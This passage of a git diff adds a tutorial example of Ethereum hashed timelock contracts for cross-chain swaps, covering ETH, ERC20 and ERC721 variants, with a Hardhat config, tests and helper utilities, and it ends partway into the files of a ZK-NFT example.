+- 哈希时间锁详解: <https://yuanxuxu.com/2020/08/05/%E5%8C%BA%E5%9D%97%E9%93%BE%E8%B7%A8%E9%93%BE%E6%8A%80%E6%9C%AF%E4%B9%8B%E5%93%88%E5%B8%8C%E6%97%B6%E9%97%B4%E9%94%81/>
+- 哈希时间锁原理: <https://learnblockchain.cn/article/2152>
+- 哈希时间锁代码样例: <https://github.com/chatch/hashed-timelock-contract-ethereum/blob/master/test/htlcERC20.js>
+- 跨链技术介绍：https://medium.com/electron-labs/what-is-bdlc-and-how-it-works-5716fbbacde8
+- 轻客户端介绍： https://blog.ethereum.org/2015/01/10/light-clients-proof-stake/
+- 跨链下半场究竟都怎么跨？跨什么？:https://mirror.xyz/0x22034f804960B9B34353d6A7595cC4E83ac0daBe/cu5_hT-WPNZCNtpbPUzp0O9LKGk-pepF5I5s3SDbKTw
+- 跨链的简要研究：从原理到技术: https://zhuanlan.zhihu.com/p/92667917
\ No newline at end of file
diff --git a/basic/63-htlc-crosschain/contracts/HashedTimelock.sol b/basic/63-htlc-crosschain/contracts/HashedTimelock.sol
new file mode 100644
index 000000000..5dfa8fa39
--- /dev/null
+++ b/basic/63-htlc-crosschain/contracts/HashedTimelock.sol
@@ -0,0 +1,227 @@
+pragma solidity ^0.5.0;
+
+/**
+ * @title Hashed Timelock Contracts (HTLCs) on Ethereum ETH.
+ *
+ * This contract provides a way to create and keep HTLCs for ETH.
+ *
+ * See HashedTimelockERC20.sol for a contract that provides the same functions
+ * for ERC20 tokens.
+ *
+ * Protocol:
+ *
+ *  1) newContract(receiver, hashlock, timelock) - a sender calls this to create
+ *      a new HTLC and gets back a 32 byte contract id
+ *  2) withdraw(contractId, preimage) - once the receiver knows the preimage of
+ *      the hashlock hash they can claim the ETH with this function
+ *  3) refund() - after timelock has expired and if the receiver did not
+ *      withdraw funds the sender / creator of the HTLC can get their ETH
+ *      back with this function.
+ */
+contract HashedTimelock {
+
+    event LogHTLCNew(
+        bytes32 indexed contractId,
+        address indexed sender,
+        address indexed receiver,
+        uint amount,
+        bytes32 hashlock,
+        uint timelock
+    );
+    event LogHTLCWithdraw(bytes32 indexed contractId);
+    event LogHTLCRefund(bytes32 indexed contractId);
+
+    struct LockContract {
+        address payable sender;
+        address payable receiver;
+        uint amount;
+        bytes32 hashlock; // sha-2 sha256 hash
+        uint timelock; // UNIX timestamp seconds - locked UNTIL this time
+        bool withdrawn;
+        bool refunded;
+        bytes32 preimage;
+    }
+
+    mapping (bytes32 => LockContract) contracts;
+
+    modifier fundsSent() {
+        require(msg.value > 0, "msg.value must be > 0");
+        _;
+    }
+    modifier futureTimelock(uint _time) {
+        // only requirement is the timelock time is after the last blocktime (now).
+        // probably want something a bit further in the future then this.
+        // but this is still a useful sanity check:
+        require(_time > now, "timelock time must be in the future");
+        _;
+    }
+    modifier contractExists(bytes32 _contractId) {
+        require(haveContract(_contractId), "contractId does not exist");
+        _;
+    }
+    modifier hashlockMatches(bytes32 _contractId, bytes32 _x) {
+        require(
+            contracts[_contractId].hashlock == sha256(abi.encodePacked(_x)),
+            "hashlock hash does not match"
+        );
+        _;
+    }
+    modifier withdrawable(bytes32 _contractId) {
+        require(contracts[_contractId].receiver == msg.sender, "withdrawable: not receiver");
+        require(contracts[_contractId].withdrawn == false, "withdrawable: already withdrawn");
+        require(contracts[_contractId].timelock > now, "withdrawable: timelock time must be in the future");
+        _;
+    }
+    modifier refundable(bytes32 _contractId) {
+        require(contracts[_contractId].sender == msg.sender, "refundable: not sender");
+        require(contracts[_contractId].refunded == false, "refundable: already refunded");
+        require(contracts[_contractId].withdrawn == false, "refundable: already withdrawn");
+        require(contracts[_contractId].timelock <= now, "refundable: timelock not yet passed");
+        _;
+    }
+
+    /**
+     * @dev Sender sets up a new hash time lock contract depositing the ETH and
+     * providing the reciever lock terms.
+     *
+     * @param _receiver Receiver of the ETH.
+     * @param _hashlock A sha-2 sha256 hash hashlock.
+     * @param _timelock UNIX epoch seconds time that the lock expires at.
+     *                  Refunds can be made after this time.
+     * @return contractId Id of the new HTLC. This is needed for subsequent
+     *                    calls.
+     */
+    function newContract(address payable _receiver, bytes32 _hashlock, uint _timelock)
+        external
+        payable
+        fundsSent
+        futureTimelock(_timelock)
+        returns (bytes32 contractId)
+    {
+        contractId = sha256(
+            abi.encodePacked(
+                msg.sender,
+                _receiver,
+                msg.value,
+                _hashlock,
+                _timelock
+            )
+        );
+
+        // Reject if a contract already exists with the same parameters. The
+        // sender must change one of these parameters to create a new distinct
+        // contract.
+        if (haveContract(contractId))
+            revert("Contract already exists");
+
+        contracts[contractId] = LockContract(
+            msg.sender,
+            _receiver,
+            msg.value,
+            _hashlock,
+            _timelock,
+            false,
+            false,
+            0x0
+        );
+
+        emit LogHTLCNew(
+            contractId,
+            msg.sender,
+            _receiver,
+            msg.value,
+            _hashlock,
+            _timelock
+        );
+    }
+
+    /**
+     * @dev Called by the receiver once they know the preimage of the hashlock.
+     * This will transfer the locked funds to their address.
+     *
+     * @param _contractId Id of the HTLC.
+     * @param _preimage sha256(_preimage) should equal the contract hashlock.
+     * @return bool true on success
+     */
+    function withdraw(bytes32 _contractId, bytes32 _preimage)
+        external
+        contractExists(_contractId)
+        hashlockMatches(_contractId, _preimage)
+        withdrawable(_contractId)
+        returns (bool)
+    {
+        LockContract storage c = contracts[_contractId];
+        c.preimage = _preimage;
+        c.withdrawn = true;
+        c.receiver.transfer(c.amount);
+        emit LogHTLCWithdraw(_contractId);
+        return true;
+    }
+
+    /**
+     * @dev Called by the sender if there was no withdraw AND the time lock has
+     * expired. This will refund the contract amount.
+     *
+     * @param _contractId Id of HTLC to refund from.
+     * @return bool true on success
+     */
+    function refund(bytes32 _contractId)
+        external
+        contractExists(_contractId)
+        refundable(_contractId)
+        returns (bool)
+    {
+        LockContract storage c = contracts[_contractId];
+        c.refunded = true;
+        c.sender.transfer(c.amount);
+        emit LogHTLCRefund(_contractId);
+        return true;
+    }
+
+    /**
+     * @dev Get contract details.
+     * @param _contractId HTLC contract id
+     * @return All parameters in struct LockContract for _contractId HTLC
+     */
+    function getContract(bytes32 _contractId)
+        public
+        view
+        returns (
+            address sender,
+            address receiver,
+            uint amount,
+            bytes32 hashlock,
+            uint timelock,
+            bool withdrawn,
+            bool refunded,
+            bytes32 preimage
+        )
+    {
+        if (haveContract(_contractId) == false)
+            return (address(0), address(0), 0, 0, 0, false, false, 0);
+        LockContract storage c = contracts[_contractId];
+        return (
+            c.sender,
+            c.receiver,
+            c.amount,
+            c.hashlock,
+            c.timelock,
+            c.withdrawn,
+            c.refunded,
+            c.preimage
+        );
+    }
+
+    /**
+     * @dev Is there a contract with id _contractId.
+     * @param _contractId Id into contracts mapping.
+     */
+    function haveContract(bytes32 _contractId)
+        internal
+        view
+        returns (bool exists)
+    {
+        exists = (contracts[_contractId].sender != address(0));
+    }
+
+}
diff --git a/basic/63-htlc-crosschain/contracts/HashedTimelockERC20.sol b/basic/63-htlc-crosschain/contracts/HashedTimelockERC20.sol
new file mode 100644
index 000000000..2ffbc6153
--- /dev/null
+++ b/basic/63-htlc-crosschain/contracts/HashedTimelockERC20.sol
@@ -0,0 +1,259 @@
+pragma solidity ^0.5.0;
+
+import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol";
+
+/**
+* @title Hashed Timelock Contracts (HTLCs) on Ethereum ERC20 tokens.
+*
+* This contract provides a way to create and keep HTLCs for ERC20 tokens.
+*
+* See HashedTimelock.sol for a contract that provides the same functions
+* for the native ETH token.
+*
+* Protocol:
+*
+*  1) newContract(receiver, hashlock, timelock, tokenContract, amount) - a
+*      sender calls this to create a new HTLC on a given token (tokenContract)
+*       for a given amount. A 32 byte contract id is returned
+*  2) withdraw(contractId, preimage) - once the receiver knows the preimage of
+*      the hashlock hash they can claim the tokens with this function
+*  3) refund() - after timelock has expired and if the receiver did not
+*      withdraw the tokens the sender / creator of the HTLC can get their tokens
+*      back with this function.
+ */
+contract HashedTimelockERC20 {
+    event HTLCERC20New(
+        bytes32 indexed contractId,
+        address indexed sender,
+        address indexed receiver,
+        address tokenContract,
+        uint256 amount,
+        bytes32 hashlock,
+        uint256 timelock
+    );
+    event HTLCERC20Withdraw(bytes32 indexed contractId);
+    event HTLCERC20Refund(bytes32 indexed contractId);
+
+    struct LockContract {
+        address sender;
+        address receiver;
+        address tokenContract;
+        uint256 amount;
+        bytes32 hashlock;
+        // locked UNTIL this time. Unit depends on consensus algorithm.
+        // PoA, PoA and IBFT all use seconds. But Quorum Raft uses nano-seconds
+        uint256 timelock;
+        bool withdrawn;
+        bool refunded;
+        bytes32 preimage;
+    }
+
+    modifier tokensTransferable(address _token, address _sender, uint256 _amount) {
+        require(_amount > 0, "token amount must be > 0");
+        require(
+            ERC20(_token).allowance(_sender, address(this)) >= _amount,
+            "token allowance must be >= amount"
+        );
+        _;
+    }
+    modifier futureTimelock(uint256 _time) {
+        // only requirement is the timelock time is after the last blocktime (now).
+        // probably want something a bit further in the future then this.
+        // but this is still a useful sanity check:
+        require(_time > now, "timelock time must be in the future");
+        _;
+    }
+    modifier contractExists(bytes32 _contractId) {
+        require(haveContract(_contractId), "contractId does not exist");
+        _;
+    }
+    modifier hashlockMatches(bytes32 _contractId, bytes32 _x) {
+        require(
+            contracts[_contractId].hashlock == sha256(abi.encodePacked(_x)),
+            "hashlock hash does not match"
+        );
+        _;
+    }
+    modifier withdrawable(bytes32 _contractId) {
+        require(contracts[_contractId].receiver == msg.sender, "withdrawable: not receiver");
+        require(contracts[_contractId].withdrawn == false, "withdrawable: already withdrawn");
+        // This check needs to be added if claims are allowed after timeout. That is, if the following timelock check is commented out
+        require(contracts[_contractId].refunded == false, "withdrawable: already refunded");
+        // if we want to disallow claim to be made after the timeout, uncomment the following line
+        // require(contracts[_contractId].timelock > now, "withdrawable: timelock time must be in the future");
+        _;
+    }
+    modifier refundable(bytes32 _contractId) {
+        require(contracts[_contractId].sender == msg.sender, "refundable: not sender");
+        require(contracts[_contractId].refunded == false, "refundable: already refunded");
+        require(contracts[_contractId].withdrawn == false, "refundable: already withdrawn");
+        require(contracts[_contractId].timelock <= now, "refundable: timelock not yet passed");
+        _;
+    }
+
+    mapping (bytes32 => LockContract) contracts;
+
+    /**
+     * @dev Sender / Payer sets up a new hash time lock contract depositing the
+     * funds and providing the reciever and terms.
+     *
+     * NOTE: _receiver must first call approve() on the token contract.
+     *       See allowance check in tokensTransferable modifier.
+
+     * @param _receiver Receiver of the tokens.
+     * @param _hashlock A sha-2 sha256 hash hashlock.
+     * @param _timelock UNIX epoch seconds time that the lock expires at.
+     *                  Refunds can be made after this time.
+     * @param _tokenContract ERC20 Token contract address.
+     * @param _amount Amount of the token to lock up.
+     * @return contractId Id of the new HTLC. This is needed for subsequent
+     *                    calls.
+     */
+    function newContract(
+        address _receiver,
+        bytes32 _hashlock,
+        uint256 _timelock,
+        address _tokenContract,
+        uint256 _amount
+    )
+        external
+        tokensTransferable(_tokenContract, msg.sender, _amount)
+        futureTimelock(_timelock)
+        returns (bytes32 contractId)
+    {
+        contractId = sha256(
+            abi.encodePacked(
+                msg.sender,
+                _receiver,
+                _tokenContract,
+                _amount,
+                _hashlock,
+                _timelock
+            )
+        );
+
+        // Reject if a contract already exists with the same parameters. The
+        // sender must change one of these parameters (ideally providing a
+        // different _hashlock).
+        if (haveContract(contractId))
+            revert("Contract already exists");
+
+        // This contract becomes the temporary owner of the tokens
+        if (!ERC20(_tokenContract).transferFrom(msg.sender, address(this), _amount))
+            revert("transferFrom sender to this failed");
+
+        contracts[contractId] = LockContract(
+            msg.sender,
+            _receiver,
+            _tokenContract,
+            _amount,
+            _hashlock,
+            _timelock,
+            false,
+            false,
+            0x0
+        );
+
+        emit HTLCERC20New(
+            contractId,
+            msg.sender,
+            _receiver,
+            _tokenContract,
+            _amount,
+            _hashlock,
+            _timelock
+        );
+    }
+
+    /**
+    * @dev Called by the receiver once they know the preimage of the hashlock.
+    * This will transfer ownership of the locked tokens to their address.
+    *
+    * @param _contractId Id of the HTLC.
+    * @param _preimage sha256(_preimage) should equal the contract hashlock.
+    * @return bool true on success
+     */
+    function withdraw(bytes32 _contractId, bytes32 _preimage)
+        external
+        contractExists(_contractId)
+        hashlockMatches(_contractId, _preimage)
+        withdrawable(_contractId)
+        returns (bool)
+    {
+        LockContract storage c = contracts[_contractId];
+        c.preimage = _preimage;
+        c.withdrawn = true;
+        ERC20(c.tokenContract).transfer(c.receiver, c.amount);
+        emit HTLCERC20Withdraw(_contractId);
+        return true;
+    }
+
+    /**
+     * @dev Called by the sender if there was no withdraw AND the time lock has
+     * expired. This will restore ownership of the tokens to the sender.
+     *
+     * @param _contractId Id of HTLC to refund from.
+     * @return bool true on success
+     */
+    function refund(bytes32 _contractId)
+        external
+        contractExists(_contractId)
+        refundable(_contractId)
+        returns (bool)
+    {
+        LockContract storage c = contracts[_contractId];
+        c.refunded = true;
+        ERC20(c.tokenContract).transfer(c.sender, c.amount);
+        emit HTLCERC20Refund(_contractId);
+        return true;
+    }
+
+    /**
+     * @dev Get contract details.
+     * @param _contractId HTLC contract id
+     * @return All parameters in struct LockContract for _contractId HTLC
+     */
+    function getContract(bytes32 _contractId)
+        public
+        view
+        returns (
+            address sender,
+            address receiver,
+            address tokenContract,
+            uint256 amount,
+            bytes32 hashlock,
+            uint256 timelock,
+            bool withdrawn,
+            bool refunded,
+            bytes32 preimage
+        )
+    {
+        if (haveContract(_contractId) == false)
+            return (address(0), address(0), address(0), 0, 0, 0, false, false, 0);
+        LockContract storage c = contracts[_contractId];
+        return (
+            c.sender,
+            c.receiver,
+            c.tokenContract,
+            c.amount,
+            c.hashlock,
+            c.timelock,
+            c.withdrawn,
+            c.refunded,
+            c.preimage
+        );
+    }
+
+    /**
+     * @dev Is there a contract with id _contractId.
+     * @param _contractId Id into contracts mapping.
+     */
+    function haveContract(bytes32 _contractId)
+        internal
+        view
+        returns (bool exists)
+    {
+        exists = (contracts[_contractId].sender != address(0));
+    }
+
+}
diff --git a/basic/63-htlc-crosschain/contracts/HashedTimelockERC721.sol b/basic/63-htlc-crosschain/contracts/HashedTimelockERC721.sol
new file mode 100644
index 000000000..36e319544
--- /dev/null
+++ b/basic/63-htlc-crosschain/contracts/HashedTimelockERC721.sol
@@ -0,0 +1,260 @@
+pragma solidity ^0.5.0;
+
+import "openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
+
+/**
+* @title Hashed Timelock Contracts (HTLCs) on Ethereum ERC721 tokens.
+*
+* This contract provides a way to create and keep HTLCs for ERC721 tokens.
+*
+* See HashedTimelock.sol for a contract that provides the same functions
+* for the native ETH token.
+*
+* Protocol:
+*
+*  1) newContract(receiver, hashlock, timelock, tokenContract, tokenId) - a
+*      sender calls this to create a new HTLC on a given token (tokenContract)
+*       for a given token ID. A 32 byte contract id is returned
+*  2) withdraw(contractId, preimage) - once the receiver knows the preimage of
+*      the hashlock hash they can claim the tokens with this function
+*  3) refund() - after timelock has expired and if the receiver did not
+*      withdraw the tokens the sender / creater of the HTLC can get their tokens
+*      back with this function.
+ */
+contract HashedTimelockERC721 {
+
+    event HTLCERC721New(
+        bytes32 indexed contractId,
+        address indexed sender,
+        address indexed receiver,
+        address tokenContract,
+        uint256 tokenId,
+        bytes32 hashlock,
+        uint256 timelock
+    );
+    event HTLCERC721Withdraw(bytes32 indexed contractId);
+    event HTLCERC721Refund(bytes32 indexed contractId);
+
+    struct LockContract {
+        address sender;
+        address receiver;
+        address tokenContract;
+        uint256 tokenId;
+        bytes32 hashlock;
+        // locked UNTIL this time. Unit depends on consensus algorithm.
+        // PoA, PoA and IBFT all use seconds. But Quorum Raft uses nano-seconds
+        uint256 timelock;
+        bool withdrawn;
+        bool refunded;
+        bytes32 preimage;
+    }
+
+    modifier tokensTransferable(address _token, uint256 _tokenId) {
+        // ensure this contract is approved to transfer the designated token
+        // so that it is able to honor the claim request later
+        require(
+            ERC721(_token).getApproved(_tokenId) == address(this),
+            "The HTLC must have been designated an approved spender for the tokenId"
+        );
+        _;
+    }
+    modifier futureTimelock(uint256 _time) {
+        // only requirement is the timelock time is after the last blocktime (now).
+        // probably want something a bit further in the future then this.
+        // but this is still a useful sanity check:
+        require(_time > now, "timelock time must be in the future");
+        _;
+    }
+    modifier contractExists(bytes32 _contractId) {
+        require(haveContract(_contractId), "contractId does not exist");
+        _;
+    }
+    modifier hashlockMatches(bytes32 _contractId, bytes32 _x) {
+        require(
+            contracts[_contractId].hashlock == sha256(abi.encodePacked(_x)),
+            "hashlock hash does not match"
+        );
+        _;
+    }
+    modifier withdrawable(bytes32 _contractId) {
+        require(contracts[_contractId].receiver == msg.sender, "withdrawable: not receiver");
+        require(contracts[_contractId].withdrawn == false, "withdrawable: already withdrawn");
+        // This check needs to be added if claims are allowed after timeout. That is, if the following timelock check is commented out
+        require(contracts[_contractId].refunded == false, "withdrawable: already refunded");
+        // if we want to disallow claim to be made after the timeout, uncomment the following line
+        // require(contracts[_contractId].timelock > now, "withdrawable: timelock time must be in the future");
+        _;
+    }
+    modifier refundable(bytes32 _contractId) {
+        require(contracts[_contractId].sender == msg.sender, "refundable: not sender");
+        require(contracts[_contractId].refunded == false, "refundable: already refunded");
+        require(contracts[_contractId].withdrawn == false, "refundable: already withdrawn");
+        require(contracts[_contractId].timelock <= now, "refundable: timelock not yet passed");
+        _;
+    }
+
+    mapping (bytes32 => LockContract) contracts;
+
+    /**
+     * @dev Sender / Payer sets up a new hash time lock contract depositing the
+     * funds and providing the reciever and terms.
+     *
+     * NOTE: _receiver must first call approve() on the token contract.
+     *       See isApprovedOrOwner check in tokensTransferable modifier.
+
+     * @param _receiver Receiver of the tokens.
+     * @param _hashlock A sha-2 sha256 hash hashlock.
+     * @param _timelock UNIX epoch seconds time that the lock expires at.
+     *                  Refunds can be made after this time.
+     * @param _tokenContract ERC20 Token contract address.
+     * @param _tokenId Id of the token to lock up.
+     * @return contractId Id of the new HTLC. This is needed for subsequent
+     *                    calls.
+     */
+    function newContract(
+        address _receiver,
+        bytes32 _hashlock,
+        uint256 _timelock,
+        address _tokenContract,
+        uint256 _tokenId
+    )
+        external
+        tokensTransferable(_tokenContract, _tokenId)
+        futureTimelock(_timelock)
+        returns (bytes32 contractId)
+    {
+        contractId = sha256(
+            abi.encodePacked(
+                msg.sender,
+                _receiver,
+                _tokenContract,
+                _tokenId,
+                _hashlock,
+                _timelock
+            )
+        );
+
+        // Reject if a contract already exists with the same parameters. The
+        // sender must change one of these parameters (ideally providing a
+        // different _hashlock).
+        if (haveContract(contractId))
+            revert("Contract already exists");
+
+        // This contract becomes the temporary owner of the token
+        ERC721(_tokenContract).transferFrom(msg.sender, address(this), _tokenId);
+
+        contracts[contractId] = LockContract(
+            msg.sender,
+            _receiver,
+            _tokenContract,
+            _tokenId,
+            _hashlock,
+            _timelock,
+            false,
+            false,
+            0x0
+        );
+
+        emit HTLCERC721New(
+            contractId,
+            msg.sender,
+            _receiver,
+            _tokenContract,
+            _tokenId,
+            _hashlock,
+            _timelock
+        );
+    }
+
+    /**
+    * @dev Called by the receiver once they know the preimage of the hashlock.
+    * This will transfer ownership of the locked tokens to their address.
+    *
+    * @param _contractId Id of the HTLC.
+    * @param _preimage sha256(_preimage) should equal the contract hashlock.
+    * @return bool true on success
+     */
+    function withdraw(bytes32 _contractId, bytes32 _preimage)
+        external
+        contractExists(_contractId)
+        hashlockMatches(_contractId, _preimage)
+        withdrawable(_contractId)
+        returns (bool)
+    {
+        LockContract storage c = contracts[_contractId];
+        c.preimage = _preimage;
+        c.withdrawn = true;
+        ERC721(c.tokenContract).transferFrom(address(this), c.receiver, c.tokenId);
+        emit HTLCERC721Withdraw(_contractId);
+        return true;
+    }
+
+    /**
+     * @dev Called by the sender if there was no withdraw AND the time lock has
+     * expired. This will restore ownership of the tokens to the sender.
+     *
+     * @param _contractId Id of HTLC to refund from.
+     * @return bool true on success
+     */
+    function refund(bytes32 _contractId)
+        external
+        contractExists(_contractId)
+        refundable(_contractId)
+        returns (bool)
+    {
+        LockContract storage c = contracts[_contractId];
+        c.refunded = true;
+        ERC721(c.tokenContract).transferFrom(address(this), c.sender, c.tokenId);
+        emit HTLCERC721Refund(_contractId);
+        return true;
+    }
+
+    /**
+     * @dev Get contract details.
+     * @param _contractId HTLC contract id
+     * @return All parameters in struct LockContract for _contractId HTLC
+     */
+    function getContract(bytes32 _contractId)
+        public
+        view
+        returns (
+            address sender,
+            address receiver,
+            address tokenContract,
+            uint256 tokenId,
+            bytes32 hashlock,
+            uint256 timelock,
+            bool withdrawn,
+            bool refunded,
+            bytes32 preimage
+        )
+    {
+        if (haveContract(_contractId) == false)
+            return (address(0), address(0), address(0), 0, 0, 0, false, false, 0);
+        LockContract storage c = contracts[_contractId];
+        return (
+            c.sender,
+            c.receiver,
+            c.tokenContract,
+            c.tokenId,
+            c.hashlock,
+            c.timelock,
+            c.withdrawn,
+            c.refunded,
+            c.preimage
+        );
+    }
+
+    /**
+     * @dev Is there a contract with id _contractId.
+     * @param _contractId Id into contracts mapping.
+     */
+    function haveContract(bytes32 _contractId)
+        internal
+        view
+        returns (bool exists)
+    {
+        exists = (contracts[_contractId].sender != address(0));
+    }
+
+}
diff --git a/basic/63-htlc-crosschain/hardhat.config.js b/basic/63-htlc-crosschain/hardhat.config.js
new file mode 100644
index 000000000..57b322979
--- /dev/null
+++ b/basic/63-htlc-crosschain/hardhat.config.js
@@ -0,0 +1,76 @@
+require("@nomiclabs/hardhat-waffle");
+require('dotenv').config()
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+  return process.env.PRIVATE_KEY
+ 
+ }
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.5.0"
+      },
+      {
+        version: "0.5.5",
+        settings: {}
+      },
+      {
+        version: "0.7.6",
+        settings: {}
+      }
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: "https://rinkeby.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
diff --git a/basic/63-htlc-crosschain/package.json b/basic/63-htlc-crosschain/package.json
new file mode 100644
index 000000000..b7f494962
--- /dev/null
+++ b/basic/63-htlc-crosschain/package.json
@@ -0,0 +1,24 @@
+{
+  "name": "61-htlc",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "crypto": "^1.0.1",
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.8",
+    "openzeppelin-solidity": "^2.5.1"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0"
+  }
+}
diff --git a/basic/63-htlc-crosschain/test/HashedTimelock.js b/basic/63-htlc-crosschain/test/HashedTimelock.js
new file mode 100644
index 000000000..04624c71a
--- /dev/null
+++ b/basic/63-htlc-crosschain/test/HashedTimelock.js
@@ -0,0 +1,118 @@
+const { expect } = require("chai");
+const hre = require("hardhat");
+const { ethers } = hre;
+
+const {
+    bufToStr,
+    getBalance,
+    htlcArrayToObj,
+    isSha256Hash,
+    newSecretHashPair,
+    nowSeconds,
+    random32,
+} = require('./helper/utils')
+
+function wait(ms) {
+    return new Promise(resolve => setTimeout(() => resolve(), ms));
+};
+
+describe("HashedTimelock", function () {
+    let Alice;
+    let Bob;
+    let Cart;
+    let Dive;
+    let contractAlice;
+    let contractBob;
+    let hashPair;
+    let timeLock1Hour;
+
+
+    beforeEach(async function () {
+        ;[Alice, Bob, Cart, Dive] = await ethers.getSigners();
+
+        // Get deploy two Hash Contract
+        const HashedTimelockFactory = await ethers.getContractFactory("HashedTimelock");
+        contractAlice = await HashedTimelockFactory.deploy();
+        await contractAlice.deployed();
+        contractBob = await HashedTimelockFactory.deploy();
+        await contractBob.deployed();
+
+        // Parameters
+        hashPair = newSecretHashPair();
+        timeLock1Hour = nowSeconds() + 1000;
+
+    });
+
+    it("newContract() should create new contract and store correct details", async function () {
+        // Listen to event log
+        contractAlice.once('LogHTLCNew', (contractId, sender, receiver, amount, hashlock, timelock) => {
+            // Check event value
+            console.log("Get Event, and going to check the event value");
+            console.log("contractId:",contractId.toString());
+            expect(sender).to.be.equal(Alice.address);
+            expect(receiver).to.be.equal(Bob.address);
+            expect(amount).to.be.equal(100);
+            expect(hashlock).to.be.equal(hashPair.hash);
+            expect(timelock).to.be.equal(timeLock1Hour);
+        });
+
+        // Call newContract  
+        const txReceipt = await contractAlice.newContract(
+            Bob.address,
+            hashPair.hash,
+            timeLock1Hour,
+            {
+                from: Alice.address,
+                value: 100,
+            }
+        );
+        
+        // Waiting for event check
+        await txReceipt.wait();
+        await wait(5000);
+
+    });
+
+    it('newContract() should fail with timelocks in the past', async () => {
+        // Set Timelock value to the past
+        const pastTimelock = nowSeconds() - 1
+        await expect(contractAlice.newContract(
+            Bob.address,
+            hashPair.hash,
+            pastTimelock,
+            {
+                from: Alice.address,
+                value: 100,
+            }
+        )).to.be.revertedWith('timelock time must be in the future');
+      });
+
+
+      it('withdraw() should send receiver funds when given the correct secret preimage', async () => {
+        let constractIdInHash;
+        // Listen to event log
+        contractAlice.once('LogHTLCNew', (contractId, sender, receiver, amount, hashlock, timelock) => {
+            // Get the contractId
+            constractIdInHash = contractId
+        });
+
+        // Alice Call newContract 
+        const txReceipt = await contractAlice.newContract(
+            Bob.address,
+            hashPair.hash,
+            timeLock1Hour,
+            {
+                from: Alice.address,
+                value: 100,
+            }
+        );
+        
+        // Waiting for event check
+        await txReceipt.wait();
+        await wait(5000);
+        
+        // Bob going to do Withdraw 
+        contractBob = contractAlice.connect(Bob);
+        await contractBob.withdraw(constractIdInHash,hashPair.secret);  
+      });
+});
\ No newline at end of file
diff --git a/basic/63-htlc-crosschain/test/helper/utils.js b/basic/63-htlc-crosschain/test/helper/utils.js
new file mode 100644
index 000000000..a8319f22c
--- /dev/null
+++ b/basic/63-htlc-crosschain/test/helper/utils.js
@@ -0,0 +1,68 @@
+const crypto = require('crypto')
+
+// Format required for sending bytes through eth client:
+//  - hex string representation
+//  - prefixed with 0x
+const bufToStr = b => '0x' + b.toString('hex')
+
+const sha256 = x =>
+  crypto
+    .createHash('sha256')
+    .update(x)
+    .digest()
+
+const random32 = () => crypto.randomBytes(32)
+
+const isSha256Hash = hashStr => /^0x[0-9a-f]{64}$/i.test(hashStr)
+
+const newSecretHashPair = () => {
+  const secret = random32()
+  const hash = sha256(secret)
+  return {
+    secret: bufToStr(secret),
+    hash: bufToStr(hash),
+  }
+}
+
+const nowSeconds = () => Math.floor(Date.now() / 1000)
+
+const htlcArrayToObj = c => {
+  return {
+    sender: c[0],
+    receiver: c[1],
+    amount: c[2],
+    hashlock: c[3],
+    timelock: c[4],
+    withdrawn: c[5],
+    refunded: c[6],
+    preimage: c[7],
+  }
+}
+
+const htlcERC20ArrayToObj = c => {
+  return {
+    sender: c[0],
+    receiver: c[1],
+    token: c[2],
+    amount: c[3],
+    hashlock: c[4],
+    timelock: c[5],
+    withdrawn: c[6],
+    refunded: c[7],
+    preimage: c[8],
+  }
+}
+
+const getBalance = async (address) => web3.utils.toBN(await web3.eth.getBalance(address))
+
+module.exports = {
+  bufToStr,
+  getBalance,
+  htlcArrayToObj,
+  htlcERC20ArrayToObj,
+  isSha256Hash,
+  newSecretHashPair,
+  nowSeconds,
+  random32,
+  sha256,
+}
diff --git a/basic/65-ZK-NFT/.env.example b/basic/65-ZK-NFT/.env.example
new file mode 100644
index 000000000..f3b6aa963
--- /dev/null
+++ b/basic/65-ZK-NFT/.env.example
@@ -0,0 +1,3 @@
+NFT_STORAGE_APIKEY=xxxx
+INFURA_IPFS_PROJECT_ID=yyy
+INFURA_IPFS_PROJECT_SECRET=zzz
\ No newline at end of file
diff --git a/basic/65-ZK-NFT/data/matic.jpeg b/basic/65-ZK-NFT/data/matic.jpeg
new file mode 100644
index 000000000..ed3589e40
Binary files /dev/null and b/basic/65-ZK-NFT/data/matic.jpeg differ
diff --git a/basic/65-ZK-NFT/package.json b/basic/65-ZK-NFT/package.json
new file mode 100644
index 000000000..c50c10c34
--- /dev/null
+++ b/basic/65-ZK-NFT/package.json
@@ -0,0 +1,18 @@
+{
+  "name": "36-nft-ipfs",
+  "version": "1.0.0",
